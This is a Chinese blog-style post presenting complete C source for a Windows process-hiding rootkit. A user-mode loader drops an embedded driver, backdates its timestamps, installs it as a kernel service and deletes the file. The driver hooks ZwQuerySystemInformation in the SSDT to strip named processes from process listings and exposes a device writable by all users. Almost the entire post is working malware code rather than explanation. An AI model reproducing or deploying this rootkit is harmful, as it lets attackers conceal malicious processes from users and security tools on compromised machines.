闲着没事,便想在熟悉下之前看过的驱动编程相关知识,于是就写了这个简单的驱动曾隐藏进程程序。
要点: 在驱动层隐藏,主要还是使用SSDT挂钩的方法,相关知识,可以到网上查找,在隐藏进程时,为了能够隐藏多个进程,在内核代码中创建一个链表,结构如下:
//存放要隐藏进程的名字链表
typedef struct _ProcNameLink
{
UNICODE_STRING ProcName;
struct _ProcNameLink *pNext;
}ProcNameLink,*pProcNameLink;
在分别定义 全局变量 一个表头和一个表尾
pProcNameLink pProcNameHeader; //链表头部
pProcNameLink pProcNameTail; //链表尾部
在应用层使用命令行参数向驱动层传递消息,隐藏进程或删除隐藏的进程,内核层根据传递的详细,向链表中添加或删除表项。以达到显示和隐藏进程的目的。
为了方便使用,将驱动代码编译成sys文件,添加到应用层程序的资源中,运行时释放安装。
测试结果:
代码如下:
应用层代码:
#include <windows.h>
#include <stdio.h>
#include <winioctl.h> //通信时专用头文件
#include "resource.h"
//定义控制码
#define MY_DVC_IN_CODE \
(ULONG)CTL_CODE(FILE_DEVICE_UNKNOWN,\
0xa02,\
METHOD_BUFFERED,\
FILE_READ_DATA|FILE_WRITE_DATA)
#pragma comment(lib,"Advapi32.lib")
//释放资源文件中的sys
BOOL ReleaseResource(HMODULE hMoudle, DWORD wResourceId, LPCTSTR lpType, LPCTSTR lpFilePath)
{
HGLOBAL hResData; ///一个内存空间;
HRSRC hResInfo;
HANDLE hFile;
DWORD dwBytes;
char strTmpPath[MAX_PATH],strBinPath[MAX_PATH];
GetTempPath(sizeof(strTmpPath),strTmpPath); //临时文件路径;
sprintf(strBinPath,"%s\\test.tmp",strTmpPath);
//处理资源文件;
hResInfo = FindResource(hMoudle,MAKEINTRESOURCE(wResourceId),lpType);
//printf("error = %d\n",GetLastError());
//printf("\n\nwResourceId=%d\nMAKEINTRESOURCE(wResourceId)=%s\n\n",wResourceId,(char*)MAKEINTRESOURCE(wResourceId));
if(hResInfo == NULL)
return FALSE;
hResData = LoadResource(hMoudle,hResInfo);
if(hResData == NULL)
return FALSE;
hFile = CreateFile(strBinPath,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); //创建文件;
if(hFile == NULL)
return FALSE;
SYSTEMTIME st;
memset(&st, 0, sizeof(st));
st.wYear = 2012;
st.wMonth = 12;
st.wDay = 8;
st.wHour = 8;
st.wMinute = 10;
FILETIME ft,LocalFileTime;
SystemTimeToFileTime(&st, &ft); //系统时间转化成文件件时间;
LocalFileTimeToFileTime(&ft, &LocalFileTime);
SetFileTime(hFile, &LocalFileTime, (LPFILETIME)NULL, &LocalFileTime); //文件创建时间,最后一次访问时间,最后一次修改时间;
WriteFile(hFile, hResData, SizeofResource(NULL,hResInfo), &dwBytes, NULL); //将资源中的txt文件写入的新建的txt文件;
CloseHandle(hFile);
FreeResource(hResData);
MoveFile(strBinPath,lpFilePath);
SetFileAttributes(lpFilePath,FILE_ATTRIBUTE_SYSTEM);
DeleteFile(strBinPath);
return TRUE;
}
//判断驱动服务是否存在
BOOL IsExistDriver(char *szDriverName)
{
BOOL bRet = TRUE; //存在
SC_HANDLE schService = NULL;
SC_HANDLE schSCManager = NULL;
schSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
if(schSCManager)
{
//获取服务程序句柄
schService = OpenService(
schSCManager,
szDriverName,
SERVICE_ALL_ACCESS
);
if(schService == NULL)
{
//服务不存在
if((GetLastError() == ERROR_INVALID_NAME) || (GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST))
bRet = FALSE;
}
}
return bRet;
}
//加载驱动
BOOL LoadDriver(char *szDriverName, char* szSysPath)
{
BOOL bRet = FALSE;
SC_HANDLE schSevice = NULL;
SC_HANDLE schSCManager = NULL;
//打开SCM控制管理器
schSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
if(!schSCManager)
{
printf("failed to OpenSCManager!\n");
return bRet;
}
//登记服务程序
schSevice = CreateService(
schSCManager,
szDriverName,
szDriverName,
SC_MANAGER_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,//驱动服务
SERVICE_DEMAND_START,
SERVICE_ERROR_IGNORE,
szSysPath,
NULL,
NULL,
NULL,
NULL,
NULL
);
if(schSevice)
{
printf("%s install\n",szDriverName);
}
else
{
printf("failed to CreateService\n");
if(schSCManager != NULL)
CloseServiceHandle(schSCManager);
return bRet;
}
//打开服务
schSevice = OpenService(schSCManager,szDriverName,SERVICE_ALL_ACCESS);
if(schSevice == NULL)
{
printf("failed to OpenService\n");
if(schSCManager != NULL)
CloseServiceHandle(schSCManager);
return bRet;
}
bRet = StartService(schSevice,NULL,NULL);
if(!bRet)
{
printf("failed to startservice\n");
if(schSevice != NULL)
CloseServiceHandle(schSevice);
if(schSCManager != NULL)
CloseServiceHandle(schSCManager);
return FALSE;
}
printf("%s start\n",szDriverName);
if(schSevice != NULL)
CloseServiceHandle(schSevice);
if(schSCManager != NULL)
CloseServiceHandle(schSCManager);
return TRUE;
}
//卸载驱动
BOOL UnLoadDriver(char *szDriverName)
{
SC_HANDLE schService = NULL;
SC_HANDLE schSCManager = NULL;
LPSERVICE_STATUS sStatus;
BOOL bRet = FALSE;
//打开服务管理数据库
schSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
if(schSCManager)
{
//获取服务程序句柄
schService = OpenService(
schSCManager,
szDriverName,
SERVICE_ALL_ACCESS
);
if(schService)
{
//试图停止服务
if(ControlService(schService,SERVICE_CONTROL_STOP,sStatus))
{
printf("\n try to stop %s\n",szDriverName);
Sleep(1000);
//等待服务停止
while(QueryServiceStatus(schService,sStatus))
{
if(SERVICE_STOP_PENDING == sStatus->dwCurrentState)
{
printf(".");
Sleep(1000);
}
else
break;
}
if(SERVICE_STOPPED == sStatus->dwCurrentState)
printf(" %s stopped.\n",szDriverName);
else
printf("\n failed to stop %s .\n",szDriverName);
}
//删除服务
if(DeleteService(schService))
{
printf(" %s removed.\n",szDriverName);
bRet = TRUE;
}
else
printf("failed to delete %s service.\n",szDriverName);
CloseServiceHandle(schService);
}
else
printf("failed to open service \n");
CloseServiceHandle(schSCManager);
}
else
printf(" failed to open SCManager\n");
return bRet;
}
int main(int argc,char *argv[])
{
char szCurPath[MAX_PATH],szSysPath[MAX_PATH];
GetCurrentDirectory(MAX_PATH,szCurPath); //获得当前路径
sprintf(szSysPath,"%s\\ProcHide.sys",szCurPath);
ReleaseResource(NULL,IDR_SYS1,"SYS",szSysPath);
//安装驱动
char szDriverName[] = "ProcHide";
//判断驱动是否已经存在,不存在则安装
if(!IsExistDriver(szDriverName))
{
LoadDriver(szDriverName,szSysPath);
Sleep(5000); //等待一段时间,否则可能因为文件正在被使用无法删除
DeleteFile(szSysPath);
}
//else
//printf("driver has beed installed.\n");
//printf("argc = %d %s\n\n",argc,argv[1]);
if(argc != 2 && argc != 3)
{
printf(
"ProcHide -r //remove driver\n"
"ProcHide -h ProcessName //hide the process\n"
"ProcHide -d ProcessName //hide the process\n"
);
return 0;
}
if(strcmp(argv[1],"-r") != 0 && strcmp(argv[1],"-h") != 0 && strcmp(argv[1],"-d") != 0)
{
printf(
"ProcHide -r //remove driver\n"
"ProcHide -h ProcessName //hide the process\n"
"ProcHide -d ProcessName //hide the process\n"
);
return 0;
}
//卸载驱动
if(strcmp(argv[1],"-r") == 0)
{
if(UnLoadDriver(szDriverName))
printf("%s : unloaded\n",szDriverName);
else
printf("failed to unload\n");
return 1;
}
//
//隐藏进程处理
BOOL ret;
DWORD in_buffer_len,length=0; //返回的长度
char in_buffer[256]; //隐藏进程hide,此处先做测试,值由命令传进
memset(in_buffer,0,256);
if(strcmp(argv[1],"-h") == 0) //添加隐藏进程
in_buffer[0] = '+';
if(strcmp(argv[1],"-d") == 0) //删除隐藏的进程
in_buffer[0] = '-';
strcat(in_buffer,argv[2]);
//printf("in_buffer = %s\n",in_buffer);
in_buffer_len = strlen(in_buffer);
//创建设备
HANDLE device = CreateFile("\\\\.\\testSL",
GENERIC_READ|GENERIC_WRITE,
0,
0,
OPEN_EXISTING,
FILE_ATTRIBUTE_SYSTEM,
0);
if(device == INVALID_HANDLE_VALUE)
{
printf("failed to open device!\n");
return 0;
}
//向ring0级传送数据
ret = DeviceIoControl(device, //打开的设备
MY_DVC_IN_CODE, //控制码
in_buffer, //输入缓冲区
in_buffer_len, //输入缓冲区长度
NULL, //没有输出
0, //输出缓冲区为0
&length, //返回长度
NULL);
if(!ret)
{
printf("failed to write buffer to ring0 bufer\n");
CloseHandle(device);
return 0;
}
CloseHandle(device);
printf("exit...\n");
return 1;
}
驱动层代码:
// BASIC ROOTKIT that hides processes
//#include "ntddk.h"
#include <ntifs.h>
#include <Wdmsec.h>
#include <Wdm.h>
#include <string.h>
#include <stdio.h>
//定义控制码
#define MY_DVC_IN_CODE \
(ULONG)CTL_CODE(FILE_DEVICE_UNKNOWN,\
0xa02,\
METHOD_BUFFERED,\
FILE_READ_DATA|FILE_WRITE_DATA)
#pragma pack(1) //1个字节对齐
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase; //Used only in checked build
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
//存放要隐藏进程的名字链表
typedef struct _ProcNameLink
{
UNICODE_STRING ProcName;
struct _ProcNameLink *pNext;
}ProcNameLink,*pProcNameLink;
PMDL g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
pProcNameLink pProcNameHeader; //链表头部
pProcNameLink pProcNameTail; //链表尾部
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
#define HOOK_SYSCALL(_Function, _Hook, _Orig ) \
_Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) \
InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};
//进程信息结构体
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters; //windows 2000 only
struct _SYSTEM_THREADS Threads[1];
};
NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength
);
typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
ULONG SystemInformationCLass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation;
// Added by Creative of rootkit.com
LARGE_INTEGER m_UserTime;//64bit
LARGE_INTEGER m_KernelTime;
///
// NewZwQuerySystemInformation function
//
// ZwQuerySystemInformation() returns a linked list of processes.
// The function below imitates it, except it removes from the list any
// process who's name begins with "_root_".
NTSTATUS NewZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS ntStatus;
pProcNameLink pTempLink; //进程查询时用
ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength );
if( NT_SUCCESS(ntStatus))
{
if(SystemInformationClass == 5)
{
//pTempLink = pProcNameHeader->pNext; //每次开始时重新赋次值
//获取进程信息结构
for((pTempLink = pProcNameHeader->pNext)&&(pTempLink!=NULL); pTempLink != NULL; )
{
//每次产看是,都要从进程列表的开始开始比较
struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES*)SystemInformation;
struct _SYSTEM_PROCESSES *prev = NULL;
while(curr)
{
if (curr->ProcessName.Buffer != NULL)
{
if(0 == memcmp(curr->ProcessName.Buffer, pTempLink->ProcName.Buffer, 16))//此处判断要隐藏的进程
{
m_UserTime.QuadPart += curr->UserTime.QuadPart;
m_KernelTime.QuadPart += curr->KernelTime.QuadPart;
//判断要隐藏的进程在链表的那个位置
if(prev) // 中间或是在最后
{
if(curr->NextEntryDelta)
prev->NextEntryDelta += curr->NextEntryDelta;
else // 在最后
prev->NextEntryDelta = 0;
}
else
{
if(curr->NextEntryDelta)
{
// 要隐藏的进程在第一个
(char *)SystemInformation += curr->NextEntryDelta;
}
else // 只有当前一个进程
SystemInformation = NULL;
}
}
}
prev = curr;
if(curr->NextEntryDelta)
(char *)curr += curr->NextEntryDelta;
else
curr = NULL;
}
pTempLink = pTempLink->pNext;
}
}
}
return ntStatus;
}
//向链表汇总加入新的要隐藏的进程
VOID AddProcToLink(PUNICODE_STRING ProcName)
{
//先判断该进程是否已存在,已存在则不添加(不判断也不影响结果)
pProcNameLink pNewLink = (pProcNameLink)ExAllocatePool(NonPagedPool, sizeof(ProcNameLink)); //新增节点
(pNewLink->ProcName).Length = 0;
(pNewLink->ProcName).MaximumLength = 256;
(pNewLink->ProcName).Buffer = (PWCHAR)ExAllocatePool(NonPagedPool, 256); //新增节点
RtlCopyUnicodeString(&(pNewLink->ProcName),ProcName); //复制
pNewLink->pNext = NULL;
pProcNameTail->pNext = pNewLink;
pProcNameTail = pNewLink; //链表末尾
}
//移除某个进程
VOID RmProcFromLink(PUNICODE_STRING pProcName)
{
pProcNameLink pNewLink = pProcNameHeader;
if(pProcNameHeader->pNext == NULL)
return;
for( pNewLink;pNewLink->pNext != NULL;)
{
//找到,则从链表中删除
if(RtlCompareUnicodeString(&(pNewLink->pNext->ProcName),pProcName,TRUE)==0)
{
pNewLink->pNext = pNewLink->pNext->pNext;
if(pNewLink->pNext == NULL) //链表结尾,为指针标识赋值
pProcNameTail = pNewLink;
break;
}
pNewLink = pNewLink->pNext; //没有写在for里面是为了方便调试时下断点
}
}
VOID OnUnload(IN PDRIVER_OBJECT driver)
{
UNICODE_STRING symblink_name; //c语言定义变量放在前面
DbgPrint("ROOTKIT: OnUnload called\n");
// unhook system calls
UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation );
// Unlock and Free MDL
if(g_pmdlSystemCall)
{
MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
IoFreeMdl(g_pmdlSystemCall);
}
if(IoIsWdmVersionAvailable(1,0x10))
{
//支持通用版本本,则创建全局符号链接\DosDevices\Global
RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\Global\\testSL");
}
else
{
//不支持,用\DosDevices
RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\testSL");
}
IoDeleteSymbolicLink(&symblink_name );
IoDeleteDevice(driver->DeviceObject);
DbgPrint("our driver is unloading ... \r\n");
}
NTSTATUS MyDispatchFunction(PDEVICE_OBJECT device, PIRP irp)
{
CHAR inBuffer[256];
short flag = 1; //增加链表
ANSI_STRING ansiBuffer;
UNICODE_STRING unicodeBuffer;
int i;
//获得当前IRP调用的栈空间
PIO_STACK_LOCATION irpsp = IoGetCurrentIrpStackLocation(irp);
NTSTATUS status = STATUS_INVALID_PARAMETER;
memset(inBuffer,0,256);
//处理各种请求
switch(irpsp->MajorFunction)
{
case IRP_MJ_CREATE:
{
//简单返回一个IRP成功三部曲
irp->IoStatus.Information = 0;
irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest(irp,IO_NO_INCREMENT);
//应用层,打开设备后 打印此字符串,仅为测试
DbgPrint("congratulations gay,open device");
status = irp->IoStatus.Status;
break;
}
case IRP_MJ_CLOSE:
{
irp->IoStatus.Information = 0;
irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest(irp,IO_NO_INCREMENT);
//应用层,打开设备后 打印此字符串,仅为测试
DbgPrint("congratulations gay,close device");
status = irp->IoStatus.Status;
break;
}
case IRP_MJ_DEVICE_CONTROL:
{
//得到功能号
ULONG code = irpsp->Parameters.DeviceIoControl.IoControlCode;
//得到输入/输出缓冲区的长度
ULONG in_len = irpsp->Parameters.DeviceIoControl.InputBufferLength;
ULONG out_len = irpsp->Parameters.DeviceIoControl.OutputBufferLength;
//输入、输出的缓冲区是公用的内存空间的
PCHAR buffer = (PCHAR)irp->AssociatedIrp.SystemBuffer;
//memcpy(inBuffer,buffer,in_len);
//将短字符转化为宽字符
if(buffer[0] == '-')
flag = 0;
ansiBuffer.Buffer = buffer+1;
ansiBuffer.Length = ansiBuffer.MaximumLength = (USHORT)(in_len -1);
RtlAnsiStringToUnicodeString(&unicodeBuffer, &ansiBuffer,TRUE);
if(flag)
AddProcToLink(&unicodeBuffer); //将要隐藏的进程加入到链表中
else
RmProcFromLink(&unicodeBuffer);
DbgPrint("%ansiBuffer = %Z\n",&ansiBuffer); //注意是%Z
DbgPrint("unicodeBuffer = %wZ\n",&unicodeBuffer);
if(code == MY_DVC_IN_CODE)
{
DbgPrint("in_buffer_len = %d",in_len);
DbgPrint("%s",buffer);
//因为不返回信息,直接返回成功即可
//没有用到输出缓冲区
irp->IoStatus.Information = 0;
irp->IoStatus.Status = STATUS_SUCCESS;
}
else
{
//控制码错误,则不接受请求,直接返回错误
//注意返回错误和返回成功的区别
irp->IoStatus.Information = 0;
irp->IoStatus.Status = STATUS_INVALID_PARAMETER;
}
IoCompleteRequest(irp,IO_NO_INCREMENT);
status = irp->IoStatus.Status;
break;
}
case IRP_MJ_READ:
{
break;
}
default:
{
DbgPrint("unknow request!!!");
break;
}
}
return status;
}
//将ssdt表映射到内存,并设置可写、不换出
NTSTATUS SetSSDTFlag()
{
// 映射区域
g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
if(!g_pmdlSystemCall)
return STATUS_UNSUCCESSFUL;
MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
// 改变标志,设置可写
g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
//锁定到内存中,不让换出
MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT driver,
IN PUNICODE_STRING reg_path)
{
ULONG i;
NTSTATUS status;
PDEVICE_OBJECT device;
//设备名
UNICODE_STRING device_name = RTL_CONSTANT_STRING(L"\\Device\\test");
//符号连接名
UNICODE_STRING symblink_name;
//随手写一个GUID
static const GUID MYGUID_CLASS_MYCDO =
{ 0x63542127, 0xfbbb, 0x49c8, { 0x8b, 0xf4, 0x8b, 0x7c, 0xb5, 0xef, 0xd3, 0x9e } };
//static const GUID DECLSPEC_SELECTANY MYGUID_CLASS_MYCDO =
//{ 0x8524767, 0x32fe, 0x4d86, { 0x9f, 0x48, 0xa0, 0x26, 0x94, 0xec, 0x71, 0x42 } };
//全用户可读权限、写权限
UNICODE_STRING sdd1=RTL_CONSTANT_STRING(L"D:P(A;;GA;;;WD)");
//初始化第一个结构体
pProcNameHeader =(pProcNameLink)ExAllocatePool(NonPagedPool, sizeof(ProcNameLink));
pProcNameHeader->pNext = NULL;
pProcNameTail = pProcNameHeader;
//RtlInitUnicodeString(&(pProcNameHeader->ProcName),L"");
//_asm int 3
//生成设备
status = IoCreateDeviceSecure(
driver,
0,
&device_name,
FILE_DEVICE_UNKNOWN,
FILE_DEVICE_SECURE_OPEN,
FALSE,
&sdd1,
(LPCGUID)&MYGUID_CLASS_MYCDO,
&device
);
if(!NT_SUCCESS(status))
{
DbgPrint("IoCreateDeviceSecure failed ");
return status;
}
DbgPrint("good job1");
//创建符号链接
if(IoIsWdmVersionAvailable(1,0x10))
{
//支持通用版本本,则创建全局符号链接\DosDevices\Global
RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\Global\\testSL");
}
else
{
//不支持,用\DosDevices
RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\testSL");
}
status = IoCreateSymbolicLink(&symblink_name,&device_name);
if(!NT_SUCCESS(status))
{
DbgPrint("IoCreateSymbolicLink failed");
return status;
}
DbgPrint("good job2");
//初始化驱动处理
for(i=0;i<IRP_MJ_MAXIMUM_FUNCTION;i++)
{
driver->MajorFunction[i] = MyDispatchFunction;
}
// save old system call locations
//OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));
// Register a dispatch function for Unload
driver->DriverUnload = OnUnload;
SetSSDTFlag();
// hook system calls
HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation );
return STATUS_SUCCESS;
}